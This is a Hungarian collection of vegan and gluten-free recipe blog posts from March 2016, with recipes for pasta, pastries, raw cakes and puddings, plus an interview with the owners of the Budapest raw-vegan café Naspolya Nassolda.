lesz.
10 perces medvehagymás tészta
2016. március 18. Éltető ételek
Egyszerű recept sietős napokra. Már készítettem ilyet, mindig más finomság kerül bele. Most volt a hűtőben főtt csicseriborsó, ezért ez is került bele. Így tavasszal a medvehagyma nem maradhat ki belőle, de ha nincs itthon az sem baj, bátran készítsd el nélküle is. Hozzávalók (1 adag): - 1 vöröshagyma - 1 kisebb evőkanál kókuszolaj - 1/2 kisebb padlizsán - 1 kisebb cukkini - 4-5 evőkanál főtt csicseriborsó - 10 dkg gluténmentes penne tészta - 1 dl sűrű paradicsomlé - 3-4 szárított paradicsom - 3-4 gerezd fokhagyma - friss medvehagyma - bazsalikom, rozmaring, só, bors, chili, füstölt pirospaprika Elkészítése: Szeleteljük fel a hagymát, a padlizsánt és a cukkinit.Tegyünk egy edénybe minden hozzávalót, és annyi vizet öntsünk rá, hogy úgy 2 ujjnyira ellepje a tésztát. A fűszerezést ne felejtsd el. Addig kell főzni, amíg a tészta elkészül. Időközben kóstold, kétszer-háromszor keverd meg, és a vízre figyelj, hogy egy kevés zaft maradjon rajta.
Naspolya Nassolda, a budapesti nyers nassolda
2016. március 17. Vegán lettem
Édességre vágytam így meglátogattam a Naspolya Nassolda nasizót, mely Budapest egyik közkedvelt nyers csemegézője.
Szokásomhoz híven, ha már arra jártam nem csak kóstoltam, hanem kérdeztem is. Ha a belvárosban laksz akkor számodra a Naspolya Nassolda könnyedén megközelíthető, mivel a Deák Ferenc tértől mindössze 3-4 perc sétára található a Káldy Gyula utcában. De ha nem akarsz útra kelni, akkor sem kell elkeseredni, mivel webshopjukban házhoz szállítással is rendelhetőek az aktuális finomságok. Na de ennyire ne szaladjunk előre!
A Naspolya Nassolda története
A Naspolya Nassolda alapító-tulajdonosai Bárányos Réka és Novák Ádám, akik az életben is egy párt alkotnak. Réka és Ádám körülbelül egy éven át követték a nyers-vegán vonalat, pontosabban az azon belül is szigorúnak számító 80/10/10 étrendet, amely az egyik legegészségesebb táplálkozási irányzatnak számít manapság. A tisztán nyers étkezés pozitív élettani hatásait gyakorlatilag azonnal megtapasztalták magukon, Réka nagy kedvvel kezdett kísérletezni ezekkel a formabontó receptekkel és hamarosan megszületett egy nyers-vegán cukrászda létrehozásának a gondolata. A Naspolya Nassoldát 2014 decemberében nyitották.
Az étkezéshez való viszonyukról így nyilatkozott Réka: “Már csak részben követjük a nyers-vegán táplálkozást, de nem is akartuk soha beskatulyázni magunkat. Ha télen egy meleg leves esik jól, akkor azt eszem mindenféle rossz érzés nélkül. Abban hiszek, hogy az ember úgy táplálkozzon, ahogy jól érzi magát!”
Az alkalmazottak kiválasztásánál nem kikötés a vegánság, mivel maga a Naspolya Nassolda megnyitásával sem a nyers-vegán étrend melletti kizárólagos elkötelezettséget akarták képviselni. Sokkal sokkal inkább egy alternatívát mutatnak azok számára, akik szeretnék megtapasztalni, hogy cukor hozzáadása nélkül, nyersen, elsősorban gyümölcsökből és magvakból készült édesség is lehet olyan finom, vagy akár még finomabb, mint egy cukros, habos, tojásos sütemény.
A hely kínálata egyébként nem 100%-osan vegán. Az aktuálisan kapható kb. 25 termékből mindössze négy édességükhöz használnak mézet, de külön kérésre ezeket is el tudják készíteni vegán módra. A termékek összetevői között külön jelölik a mézet, és szóban is készséges tájékoztatást adnak, így a vegánok is teljes biztonsággal válogathatnak a Naspolya finomságai között. A vegán vendégkörre való tekintettel az új receptek kidolgozásánál már hangsúlyt kap a méz teljes mellőzése. (Amennyiben a Naspolya veganizálódik, frissítem a cikket.)
A Naspolya Nassolda kínálata
Az alapanyagok felhajtására komoly energiát fordítanak Rékáék és nagyon megválogatják a forrásokat az alapanyagok minősége miatt. Legfőképpen biopiacról és őstermelőktől vásárolnak, így kerülvén el a nagyipari termelésből érkező növényeket, melyek vitamin tartalma messze alul maradnak a bio termelésből származó növényekétől. Kerülik az olyan népszerű növényi zsírok, mint például a kókuszzsír használatát is, amely egyébként igen elterjedt hozzávaló a nyers étkezésben. Réka szerint a nyers édességek remekül elkészíthetők enélkül a teljesen felesleges zsírbevitel nélkül is.
A Naspolya Nassoldában minden helyben készül, még a mandulatej is, így biztosítva a frissességet és a kiváló minőséget. A kínálatot az adott évszakra jellemző zöldségek és gyümölcsök alakítják, hiszen a termékpaletta elsősorban a hazai idénygyümölcsökre épül. A cikk elkészülte közben például számos nehezebb téli nyers finomságokat kínál a webshop. A Naspolya Nassoldában a számos aszalványon (trüffelek, granolák, datolyagolyók) kívül ínyenc nyers torták és piték, karobos chia puding, zöldségcsipszek, illetve frissen facsart gyümölcslevek, mandulatejes italok és kávékülönlegességek is kaphatóak. Tavasztól gyümölcsös müzli-szerű reggelit vezetnek be többféle ízben, természetesen tojás-, tej-, tejtermék-, glutén- és hozzáadott cukor-mentesen (az összes kitétel egyébként minden termékükre elmondható).
Feltettem a szokásos kérdésemet Rékának, miszerint melyik az az édesség szerinte, mely a leginkább mutatja be a Naspolya Nassoldát. “Legyen mondjuk a sós-karamellás cupcake, ez a vendégeink egyik nagy kedvence. Aszalt datolyával édesítjük, Himalája-sóval sózzuk belül, Maldon-sópelyhekkel kívül, az ízvilága így válik a sós-karamellához hasonlóvá. A receptek kidolgozásánál egyébként arra törekszem, hogy ezek az édességek valódi kulináris élményt nyújtsanak, tehát ne “csak” egészségesek legyenek.”
Réka a nyers étkezésről
A hőkezelés nélkül készült nyers ételek egyik legfontosabb tulajdonsága, hogy a készítés során nem károsodnak az enzimek a táplálékban, amelyek mind az emésztéshez, mind a vitaminok hatékony felszívódásához szükségesek. A nyersétkezők nem főznek, nem sütnek, nem párolnak, de még az aszalás során sem teszik ki az alapanyagokat 42°C feletti hőmérsékletnek. Réka vallja, hogy az előítéletekkel ellentétben nyersen táplálkozni nem nehezebb, mint bármely más étkezési formát követni. Sőt!
“Az emberek mára elfelejtették, hogy mennyire egyszerűen és gyorsan tudunk finom ételeket készíteni gyümölcsök és zöldségek felhasználásával. Pedig a növények éltetik az emberi szervezetet!” - mondta Réka.
A beszélgetés végére azt a konklúziót vontam le, hogy a nyers étkezés nem egy bonyolult dolog. Ahogy a húst, a tojást és a tejtermékeket is főleg megszokásból fogyasztják az emberek, úgy ha a nyers ételekhez szoknánk hozzá, akkor az lenne a mindennapos. Utánajárással jár az elején, mint minden új dolog, de egy idő után természetessé válik. Alátámasztva Réka a nyers étkezés egyszerűségét megosztotta velünk egyik kedvenc nyers vegán receptjét a Naspolya Nassolda ajánlásával:
Nyers-vegán datolyagolyók
Hozzávalók:
1,5 csésze datolya
1 csésze mandula
mandulaőrlemény
Elkészítés:
A datolyát vágd egészen apró darabokra, a mandulát őröld meg. Kézzel gyúrd össze először csak a feldarabolt datolyát, egy ragacsos masszát fogsz kapni. Ezt dolgozd egynemű állagúvá az őrölt mandulával, fűszerezd kedved és ízlésed szerint, majd gyúrj belőle neked tetsző méretű golyócskákat. A golyókat forgasd meg végül mandulaőrleményben.
A nyers étkezés iránt érdeklődőknek Réka a következőket tanácsolja: “A nyersétkezésre való áttérés fokozatosan vagy egy határozott döntés nyomán, azonnal is megtörténhet. Nagyon fontos, hogy kellő mennyiségű információ, utánaolvasás előzze meg ezt, hogy nyersétkezőként valóban mindent megadjunk a szervezetünknek, amire szükségünk van. A gyümölcsturmixok vagy zöldségekből (aszalással) készített chipsek nagyon ínycsiklandó belépők ebbe a világba.”
Zárásként a Naspolya Nassolda hitvallása és küldetése:
Megmutatni az embereknek, hogy a nassolás igenis lehet egyszerre nagyon finom és tökéletesen egészséges! Szerettünk volna leszámolni a nassolás fogálmához tapadt lelkiismeret-furdalással. Egy egészséges desszert elfogyasztása után energikusabbak leszünk, hiszen tiszta energiát adó táplálékhoz jutunk. A testünk-lelkünk hálás lesz az élményért.
Az az apróság pedig csak hab a tortán – természetesen nyers vegán tortán -, hogy a Naspolya Nassolda 100%-osan kutyabarát hely. 2015-ben az év kutyabarát helyek díjának különdíját nyerte el. Gratulálok és köszönöm minden kutyus nevében!
Nyitvatartás:
Minden nap: 10:00 és 20:00 óra között.
Kiszállítást az egész ország területére vállalnak.
Cím: 1061 Budapest, Káldy Gyula utca 7.
A Naspolya Nassolda honlapja és a Naspolya Nassolda facebook oldala.
Vaníliás-mazsolás csiga
2016. március 17. Mindennapi ételeink
Fanni mindene a karobos csiga, kókuszos csiga, vaníliás csiga, vagy éppen Bogyó. Mindegy, csak csigafiú legyen ;-). Szóval neki készült elsősorban ez a süti, merthogy a mazsola is óriási kedvenc. Sajnos elfogyott a tegnapi főzőkörön a teljes őrlésű liszt, így csak finomliszttel készült, de a receptben megadom a helyes verziót :-) Hozzávalók: 25 dkg finomliszt 25 dkg teljes őrlésű liszt 3 dl növényi tej 1,5 dl olívaolaj 2,5 dkg élesztő 3-4 ek. eritritol -- 2 csomag vaníliás pudingpor 6 dl növényi tej sok-sok mazsola (ízlés szerint) vaníliapor, vagy vaníliás cukor Elkészítés: Az élesztőt cukros növényi tejben felfuttatjuk, majd a lisztekkel és olajjal együtt tésztát dagasztunk belőle, és 1 órát pihentetjük. Ez alatt megfőzzük a pudingot (meg az ebédet, ill. még elugrunk a játszóra is :-). A pudinghoz felforraljuk a tejet, kb. 0,5 dl tej kivételével, ebbe a pudingot keverjük be, és a forrásban lévő tejhez öntjük. Készre főzzük. lisztezett felületen kinyújtjuk a tésztát, rákenjük a pudingot, teleszórjuk mazsolával, és henger alakúra feltekerjük. Szeleteket vágunk, melyeket lisztezett tepsibe teszünk. a tetejüket kevés növényi tejjel bekenjük. Előmelegített sütőben 180 fokon 30-35 perc alatt készre sütjük.
Bounty torta/ Raw bounty cake
2016. március 15. Nyers konyha
Nagy volt a nyüzsgés nálunk a napokban. Barátok jöttek- mentek. Persze vártam őket mindenféle finomsággal. Bounty tortát még nem készítettem, de mivel nálunk mindenki szereti a kókuszt, gondoltam megpróbálkozom ezzel is. Ahogy általában nem szeretek recepteket követni, így most is mentem a saját fejem után, tettem bele amit gondoltam. Az eredmény szerintem eléggé rendben lett, fogyott is rendesen!:) Bounty torta: alap: 100 gramm kókuszdara 5 evőkanál kakaópor 1 evőkanál kókuszzsír 50 gramm mazsola előtte vízben megpuhítva Krém: 100 gramm kesudió 200 gramm kókuszdara 200 ml kókuszkrém 4 evőkanál kókuszzsír 10 kanál agavé szirup Nem vagyok oda az édes édességekért, így közben érdemes kóstolgatni a krémet és ha nem elég édes még adni hozzá édesítőt. Alaphoz S késes robotgéppel pépesítjük a mazsolát. Hozzáöntjük a többi hozzávalót és eldolgozzuk. A masszát kicsi csatos formába nyomkodjuk. A krémhez a kókuszdarát lisztté őröltem a turmixgépemmel, ez elhagyható folyamat. Üres turmixgépbe öntjük az összes hozzávalót kivétel a kókuszdarát. Krémesre turmixoljuk, ha szükséges kicsi vizet teszünk hozzá. Ha kész hozzákeverjük a kókuszdarát, és a krémet a formánkba öntjük. Hűtőben hagyjuk megdermedni.
Hajdinamorzsás chiapuding erdei gyümölccsel
2016. március 14. Éltető ételek
Újabb pohárkrém, amely a gyerekeim nagy kedvence. Mostanában elég gyakran használok chiamagot, nemcsak azért, mert jól zselésít, hanem azért is, mert remek tápanyagforrás. Kiváló forrása az esszenciális zsírsavaknak, optimális az omega3-6 aránya.Oldható és oldhatatlan rostokban gazdag.Tartalmaz kalciumot, vasat, káliumot, foszfort, cinket, mangánt, molibdént és magnéziumot, niacint, és folsavat is.Fehérjék és aminosavak remek forrása. A hajdina jótékony hatásairól is írtam már korábban, érdemes egy kis időt ráfordítani, csíráztatva és szárítva nagyon sokáig eláll. ... és most nézzük a receptet Hozzávalók (4 adag): Morzsa: - 5 dkg nagyszemű zabpehely - 3 dkg szárított hajdinacsíra - 1 teáskanál kókuszcukor - 1 teáskanál olvasztott kókuszolaj - 1/3 kávéskanál vaníliapor - csipet himalája só Csokoládés chia puding - 4 dl rizstej - 2 banán - 1/2 érett avokádó - 5 dkg chiamag Kókuszos chia puding - 3 dl sűrű kókusztej (én a DM-ben vettem, konzerves) - 1 banán - 1 evőkanál méz - 4 dkg chiamag erdei gyümölcs Elkészítése: A morzsa hozzávalóit (hajdinacsíra kivételével) keverjük össze, majd előmelegített sütőben (160 fok, légkeverés) 5-10 perc alatt pirítsuk meg. Majd keverjük hozzá a hajdinacsírát is. - A csokis puding összetevőit turmixoljuk össze.A kókuszos puding készítése során a kókusztej tetejéről szedjük le a kókuszzsírt (ezt sütikbe felhasználhatjuk), majd a többi hozzávalóval turmixoljuk össze. - Mielőtt poharakba tesszük, legalább fél óráig hagyjuk állni. - Rétegezzük a pohárba: - csokis puding - erdei gyümölcs - kókuszos puding - erdei gyümölcs - morzsa
Gesztenyelisztes keksz
Gluténmentes ( és egyben vegán ) sütemények kifejlesztésében vagyok motivált, ebbe az irányba néz ugyanis a konyha ablaka :-) Az jutott eszembe, mennyire jópofa dolog, mikor a vendég megállva a bistro hűtőpultja előtt csupa ismerős elnevezéssel kapna cseppnyi bizalmat és a táblácskákon például TIRAMISU, mint közismert desszert elnevezés csábítaná a kóstolásra. A tiramisuhoz szerencsémre Mindenmentes Nóri már megtalálta a tökéletes receptet, nekem annyi dolgom volt csak, hogy extra mennyiségben elkészítsem. Reklamáció persze érkezett bőven, hiszen nagyon sokaknak nem jutott belőle :-) Raffaello golyót is tettem a minap a pultba, ami két éve szerepelt egy Zöld múzsa vendégasztal desszert kínálataként ibolyasziruppal tálalva, most pedig rózsaszirommal debütált a nagyközönség előtt. A keksz készítés különösen a szívem csücske. Ráadásul tökéletes párost alkot a kávéval. Egy korty minőségi kávé egy parányi keksszel maga a mennybemenetel. Non plusz ultra, ha a keksz maga is kávé ízű! A gesztenyelisztet szemeltem ki eme grandiózus kísérlethez. Olvastam róla, hogy más liszttel megfelelő arányban keverve tuti kekszek süthetők belőle, Ujjainkkal beletúrva érezhető, milyen zsíros ez a lisztféle, így kevertem hozzá barna rizslisztet és egy kevés mandulalisztet és az egészet átszitáltam. Mivel vegán ( kizárólag növényi alapanyagok használata ) keksz volt a cél, ezért kókuszzsírral dolgoztam vaj helyett. Édesítésnek pár szem áztatott datolyát és minimális nádcukrot adagoltam hozzá. A legtökéletesebb keksz elérése érdekében elengedhetetlen, hogy a begyúrt ragacsos masszát, miután két sütőpapír réteg között fél centisre nyújtjuk, betegyük a szaggatás és sütés előtt a hűtőbe, hogy a benne lévő kókuszzsír visszadermedjen. Kávés keksz gesztenyeliszttel: - 2 bögre gesztenyeliszt - 1,5 bögre barna rizsliszt - fél bögre mandulaliszt - 3 ek. kókuszzsír ( vaj puha állagú ) - kb. fél bögre növényi tej ( házi készítésű mandulatejet használtam ) - 10-12 szem áztatott datolya - negyed bögre nádcukor porrá őrölve - 1 kk. szódabikarbóna - 1 kk. vanília por - csipet só - csésze erős presszokávé ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A liszteket beleszitáljuk egy tálba. Hozzáadjuk a sót, vaníliát, a porcukrot, szódabikarbónát. A kókuszzsírt belemorzsoljuk a lisztes keverékbe, mint ahogyan a vajjal bánunk hagyományos recepteknél. Az áztatott datolya szemeket összeturmixoljuk a kávéval és a növényi tej 3/4 részével és a lisztes keverékbe apránként beledolgozzuk. Az utolsó negyed részt már csak akkor adjuk a tésztához, ha szükséges. Végeredményként egy ragacsos gyurma szerű tésztát kell hogy kapjunk, amit két sütőpapír között fél centi vastagságra nyújtunk, majd betesszük a hűtőbe fél órára pihenni. Ezután szaggatjuk nekünk tetsző formákra és 175 fokos sütőben 10 perc alatt készre sütjük. Sütés után kihűtve egy ropogós állagú keksz, ami másnapra puha, mézeskalács állagúvá válik. Dekoráció ízlés szerint. Sütés előtt egy-egy szem csokicseppet biggyesztettem minden korong közepére. A győri Vital Cafe & Bistro-ban megkóstolható!
Zöldborsópüré kölesgombóccal
2016. március 11. Éltető ételek
Ez a zöldborsópüré első ránézésre talán túl zöld :), de a medvehagyma és a mustár kellően megízesíti, és igazán meglepő, hogy nem is rossz. Legalábbis a párom így jellemezte. :) A kölesgombócot akár más főzelékhez vagy salátához is társíthatjuk, ne ragadjunk le ennél az összeállításnál. Hozzávalók (2 fő): Kölesgombóchoz: - 1 csésze köles - 1 evőkanál barna rizsliszt - 1 kis vöröshagymakecskesajt/mozarella - himalája só - 1 teáskanál kókuszolaj - medvehagyma - panírhoz: kukoricapehely Zöldborsópüré: - 50 dkg zöldborsó - 1 evőkanál kókuszolaj - 1 teáskanál mustár - kis csokor medvehagyma (szezonon kívül petrezselyem) - himalája só Elkészítése: A kölest jó alaposan mossuk át. Száraz serpenyőbe kevergessük addig, hogy száraz legyen a köles, de még ne piruljon.Adjuk hozzá az apróra vágott hagymát, pár perc pirítás után öntsük fel 2 csésze vízzel.Sózzuk, miután felfőtt, 15 perc alatt lassú tűzön, lefedve főzzük meg.Hagyjuk kihűlni.A zöldborsó püréhez a kókuszolajon forgassuk meg a borsót, majd öntsünk rá annyi vizet, hogy éppen ellepje. Sózzuk, főzzük puhára.Krumplinyomóval törjük össze, adjuk hozzá a mustárt és az apróra vágott medvehagymát. Rottyantsuk össze.A kihűlt köleshez adjuk hozzá a lisztet, apróra vágott medvehagymát. Formázzunk belőle gombócot és a közepébe tegyünk egy kevéske sajtot. Forgassuk meg apróra összetört kukoricapehelybe, és előmelegített sütőben süssük meg.
Ananászos kókuszos smoothie (vegán) + Kedvezménykupon
2016. március 10. Zizi kalandjai
Szemeztem az ananásszal már egy ideje a szupermarketben… ettem már többször friss ananászt, de volt olyan is, hogy megvettük és addig érleltük, amíg megrohadt, szóval többször pórul jártam vele, így egy ideje inkább nem vettem. Aztán megnéztem a neten, hogy hogyan lehet megállapítani, hogy az ananász érett-e. Túl magabiztos nem lettem a témában, de gondoltam próbálkozom újra és vettem egy szép nagy példányt. Persze, amikor megvettük még totál kemény volt és kellett neki néhány nap mire megérett. Ádi már tűkön ült és minden reggel ananászt akart enni, ugyanis még soha nem kóstolta.
Nagy volt az izgalom, amikor egyik reggel azzal fogadtam Ádit a konyhában, hogy ma reggel ananászos smoothie-t eszünk/iszunk. Úgy akartam elkészíteni, hogy sűrűbb legyen, mint egy turmix, így inkább “gyümölcs joghurtként” fogyasszuk, mint megigyuk. Azt hiszem elég jól sikerült.
Arról, hogy mi kerül egy smoothie bowl-ba, már itt írtam. Ebbe tettem az ananászon kívül, avokádót, hogy krémesebb legyen, kókuszreszeléket, hogy fokozzuk a trópusi hatást, kesudióvajat és hántolt kendermagot, hogy még több legyen benne a fehérje. Került még bele zabpehely sűrítésre és vanília ízesítésre, valamint egy újabb szuper élelmiszer, baobab por.
Az Élet Fájának is nevezett baobab az afrikai szavannákon élő fa. A majomkenyérfa nevet azért kapta, mert a fa termése a majmok kedvenc eledele. A baobab igen gazdag rost forrás, nagyon magas a C-vitamin tartalma és jó kombinációja a C vitaminnak és a vasnak, mivel a benne található vas elősegíti a C vitamin felszívódását. Ezenkívül van benne B1-, B6-vitamin, cink, kálium, kálcium és magnézium. Íze enyhén savanykás, ezért jól illik ilyen gyümölcsös turmixokhoz vagy akár zabkásába is.
A legjobb lett volna ropogós granolával a tetején enni, de mivel nem csináltam mostanában granolát, ezért hántolt kendermagot és egy magkeveréket (napraforgómag, tökmag, barna és arany lenmag) szórtunk a tetejére.
Ananászos kókuszos smoothie (vegán)
Hozzávalók 3-4 főre:
– 1 db nagy ananász, meghámozva, középső része eltávolítva, felkarikázva, a karikák félbe vágva
– 1/2 db érett avokádó húsa
– 3-4 evőkanál zabpehely
– 1-2 evőkanál natúr kesudióvaj (mandulavaj, földimogyoróvaj is használható)
– 2 evőkanál kókuszreszelék
– 1 evőkanál hántolt kendermag
– 1 evőkanál baobab por (opcionális)
– 1/2 teáskanál őrölt vaníliapor
– kb. 250 ml zabtej (mandula-, mogyoró-, rizs-, szójatej is használható) vagy egy kicsivel több, attól függően, hogy milyen állagúra szeretnénk
– tálaláshoz: granola, magvak
Tegyünk minden hozzávalót a turmixgépbe és pépesítsük simára néhány perc alatt. Ha túl sűrűnek találjuk, adjunk még hozzá egy kis zabtejet. Adagoljuk tálkákba és tálaljuk granolával, magvakkal megszórva.
Szuper élelmiszer sorozat:
Inka bogyó (inka bogyós datolya golyóként elkészítve)
Acai por (turmixként elkészítve)
Kakaópor és kendermag por (smoothie-ként elkészítve)
Lucuma por, kakaópor és hántolt kendermag (kásaként elkészítve)
*****
A baobab port és a hántolt kendermagot a {Planetbio} biztosította a recepthez. A véleményem csakis a sajátom.
Jó hír, hogy a Planetbio felajánlotta, hogy kedvezménykupont biztosít a Zizi kalandjai olvasóinak! Minden online vásárlás végösszegéből 5% kedvezményt nyújt a cég. A kuponkód, amelyet megrendeléskor be kell írni a kedvezmény érvényesítéséhez: ZIZI. Jó vásárlást mindenkinek!
Kurkumás amaránt kása (vegán) – Vendégbejegyzés Rakottkert Gabitól
2016. március 8. Zizi kalandjai
Gabi blogját évek óta követem, igazából hamarabb ismertük meg egymást személyesen és csak utána kezdtük el követni egymás blogját. Nem vegetáriánus blogot ír, de nagyon sok vegán és vegetáriánus recept van a blogján. Imádom a stílusát… egyszerűen nem tudom megmagyarázni miért… ahogyan az étellel bánik, ahogyan egy alapanyagból “varázsol” valamit, a letisztultság, a kreativitás mind-mind hozzájárul ahhoz, hogy imádjam. Nem mellesleg Gabi a megalkotója a gyönyörű Kósa Gabi textileknek! Kövessétek, szeressétek őt! “Olyan receptet küldök, amit reggelire, uzsonnára, de akár egészséges desszertnek is el lehet készíteni. Az amaránt nagyon sok jó tulajdonsággal bír, többek között magas a vas és kálcium tartalma, gluténmentes, így lisztérzékenyek is fogyaszthatják. Még a neve is szép: a görög amarantos szóból származik: jelentése: nem hervadó. Szóval nemes alapanyag, amit én kurkumával fűszereztem, bevallom, főleg a színe miatt. Szépen megsárgította a kis gyöngyszemeket, így még jobban mutat mellette a mélyvörös málna, a zöld pisztácia és a fehér kókusz. Jön a nyár nemsokára, vele a friss gyümölcsök - bármelyikkel finom lesz majd!“ Kurkumás amaránt kása Hozzávalók: – 100 g amaránt – 1/2 kávéskanál kurkuma – 1-2 evőkanál juharszirup vagy méz – csipet só – 50 g málna (fagyasztott is lehet) – 1 evőkanál barna nádcukor – 1 marék natúr pisztácia – 1 marék pekándió – 2 evőkanál kókuszpehely – pár szem egész málna Az amarántot 250 ml vízzel és egy csipet sóval időnként megkeverve puhára és sűrűre főzzük. Ízlés szerint juharsziruppal vagy mézzel édesítjük. A málnát egy evőkanál vízzel és a cukorral megpároljuk, átpasszírozzuk. A pisztáciát és a pekándiót durvára vágjuk. Az amaránt kását tálba tesszük, ráöntjük a málnakrémet, megszórjuk a magokkal és a kókuszpehellyel. Egész málnákat teszünk a tetejére. Langyosan a legfinomabb.
Ropogós kiflik (vegán)
Egyik szombat este arról beszélgettünk férjemmel, hogy Angliában még nem nagyon láttunk kiflit. Zsömlét igen, de - érdekes módon - még lengyel vagy más kelet-európai élelmiszerboltokban sem találkoztunk kiflivel (nem pozsonyi kiflivel). Nem mintha Magyarországon annyira kiflin éltünk volna, ha vettem is, főként rozsost, vagy legalább magokban gazdag kifliket igyekeztem vásárolni. Ezen rövid társalgásunk után több sem kellett, minthogy másnap kora reggel ébredve nekiláttam a kiflikészítésnek. Így születtek meg a képen látható ropogós kiflik. A legelső kiflik a történelem során meglehetősen régen készültek. Mende-mondák szerint a 16. századi török harcok idején Wendler Péter bécsi sütőmester alkotta meg először a törökök félholdjára emlékeztető kifliket egyfajta fricskaként a törökök felé. (Persze a 16. század előtt is készülhettek már a kiflihez hasonlító portékák.) Azóta már sok átalakuláson mehetett át, esetemben puhaságát ropogósra cseréltem fel, lisztként pedig teljes kiőrlésű búzalisztet is használtam.
A recept:
Hozzávalók:
- 1 csomag száraz porélesztő
- 3 dl meleg növényi tej
- 15 dkg teljes kiőrlésű liszt
- 25 dkg fehér liszt (BL-55)
- 6 dkg kókuszzsír vagy növényi margarin
- 1 ek őrölt lenmag
- 1 teáskanál só (nem púpozottan!)
Elkészítés:
Az élesztőt a keverőtálba szórjuk, majd ráöntjük a meleg növényi tejet. Amikor az élesztő feloldódott, hozzáadjuk a liszteket, a kókuszzsírt, őrölt lenmagot és a sót. Elsőnek fakanállal összekeverjük a tésztát, amennyire tudjuk, majd kezünkkel keverjük, dagasztjuk tovább. Ha szükséges, pár csepp vizet még adunk hozzá. Amikor összeállt a tészta, és a kezünkkel való dagasztás során már elválik az edény falától, akkor az edényt kicsit kilisztezzük, majd a tésztát letakarjuk, meleg helyen pihentetjük legalább 30 percet.
Amikor a duplájára dagadt, lisztezett deszkán vagy munkaasztalon kinyújtjuk, háromszögekre felvágjuk s a háromszögek "talpánál" felcsavarjuk őket kiflikbe. Sütőpapíros vagy szilikonlapos tepsibe tesszük őket, megkenjük kevés vízzel és kb. 30 perc alatt megsütjük őket. Amikor kivesszük, még keménynek tűnnek, de ahogy kihűlnek, úgy lesznek ropogós kiflik.
Kókuszos kakaós tönköly sütemény
2016. március 6. Élj harmóniában
Kókuszos kakaós tönköly sütemény Az Élj harmóniában Jógaklubbot minden hónap általában első vasárnapján tartjuk, a vasárnapi jóga után. Mindig készítek valami finomságot azoknak akik eljönnek:) Most nem volt időm, így kreáltam egy gyors bögrés süteményt. Szeretem a bögrés dolgokat, mert gyorsan lehet elkészíteni őket, nem kell méricskélni hosszasan és csak a fantáziám szab határt:) Ezt a sütit akár fogyaszthatod reggelire vagy akár vendégvárónak is kiváló egy könnyű vasárnapi ebéd után. Hozzávalók 1 csomag sütőpor 1,5 bögre teljes kiőrlésű tönkölybúzaliszt 1,5 bögre fehér tönkölybúzaliszt 1 bögre barna nádcukor 1 tk. szódabikarbóna 3 ek. kakaó 4 ek. kókuszreszelék 1/2 bögre repceolaj 1,5 bögre víz V egyszermentes (bio) alapanyagokat használj:) A lisztet, sütőport, szódabikarbónát, cukrot, kakaót és kókuszt keverd össze egy tálba. M ajd add hozzá az olajat és ö nts hozzá langyos vizet és keverd jól el. . Az így kapott masszát öntsd bele egy kivajazott, lisztezett tepsibe és kb. 180 fokon süsd addig, amíg jók átsül. (kb 25 perc)
Vega-Farm finomságok
2016. március 2. Mindennapi ételeink
Írtam már nektek a Vega-Farm termékeiről, de most - húsvét közeledtével - ismét szeretném ajánlani nektek ezeket a finomságokat. Már nemcsak csemege és csípős gabonakolbászt gyártanak, hanem gabonahúst is, gyros-os, chilis, magyaros ízesítésekben. A gabonakolbászt én nem csak rakott krumpliba vagy egyéb rakott ételekbe (pl. rakott savanyú káposzta) teszem, hanem lencsés, babos ételekbe (lencse-és bableves, lencse-és babfőzelék stb.), gulyáslevesbe, illetve minden pörköltbe is jut belőle. De kiváló szendvicskrém is készül belőle gyakran, kókuszzsírral összekeverve. A gabonahúsok pedig önmagában is nagyon finomak, és egészségesek (fehérjedúsak), de a frankfurti leves, székelykáposzta, milánói makaróni elengedhetetlen összetevője. Sokan kérdezik tőlem mostanában, hogy mivel lehet helyettesíteni a húsvéti sonkát, ezzel biztosan. És nemcsak nekünk, húsevő vendégeinknek is ízleni fog. Itt találjátok meg őket: http://www.gabonakolbasz.hu/
Édesköményes lepény
2016. március 1. Élj harmóniában
Az édeskömény áldásos hatásairól már írtam a blogon. ( itt olvashatod). Mivel minden ájurvédikus testtípus számára kedvezően hat, így bárkinek szerepelhet rendszeresen az étrendjében. Most egy nagyon gyors, egyszerű zöldséges lepényt készítettem vele. Gyakran használom ezt az alapreceptet, amikor olyan ételt kell csinálni, ami hamar elkészül, kevés edényt kell használnom és az elkészült étel laktató és könnyen szállítható:) Hozzávalók 1 csomag sütőpor 1,5 bögre teljes kiőrlésű tönkölybúzaliszt 1,5 bögre tönköly fehérliszt 1 nagyobb gumó édeskömény 5 ek. olívaolaj (vagy kókuszzsír) 1 tk. szódabikarbóna oregánó bazsalikom kakukkfű só bors 1,5 bögre víz koktélparadicsom a tetejére díszítésnek Az előkészítéshez mosd meg a paradicsomokat és az édesköményt . Az édesköményt szedd cikkekre és vágd darabokra. A liszteket , sütőport, szódabikarbónát, fűszereket keverd össze egy tálba, majd az olajat tedd hozzá . Önts hozzá vizet fokozatosan és keverd jól el - figyeld a tészta állagát van amikor elég 1 bögre víz van, hogy sokkal több kell a liszt függvénye). Gyorsan dolgozz, hogy a száraz hozzávalók ne legyenek sokat a nedves hozzávalókkal. A végén keverd bele az apróra vágott édesköményt. Az így kapott masszát öntsd bele egy kivajazott, lisztezett tepsibe és a tetejét rakd ki félbe vágott koktélparadicsomokkal. kb. 180 fokon süsd addig, amíg jól átsül és szép arany színe lesz. V egyszermentes (bio) alapanyagokat használj:)
Banános diós puffasztott quinoás müzli szelet csokoládé öntettel (vegán)
2016. február 29. Zizi kalandjai
Anyaság. A világ legnehezebb projekt menedzseri állása. Én legalábbis mindenkinek ezt mondom, amikor engem kérdeznek a témáról. Legnehezebb, de egyben a legcsodálatosabb is. Szóval nehezek a mindennapok, pláne, amióta két kicsivel vagyok itthon. Ádi nagyon jó testvér, minimális a testvér féltékenység és állandóan puszilgatja Ákoskát, szeretgeti, néha túlzottan is és vissza kell fogni. Alkalmanként rendelek ebédet (imádlak nemsüti! ), mert egyszerűen kivitelezhetetlen, hogy főzzek, tartsam a karomban Ákost, amikor nyűgös (és mostanában karban tartós vagy hordozós korszakát éli), játsszak Ádival és vezessem a háztartást. Persze be szoktam tenni Ákost a hordozóba és főzök így is: a mellkasomon a gyerek, a lábamnál egy másik ugrál és közben aprítom a hagymát és a többi zöldséget úgy, hogy alig látom a deszkát, mert a rajtam lévő gyerek szinte mindent eltakar. De nem panaszkodom, ez az anyasors és én örömmel csinálom, sokszor fáradtan is.
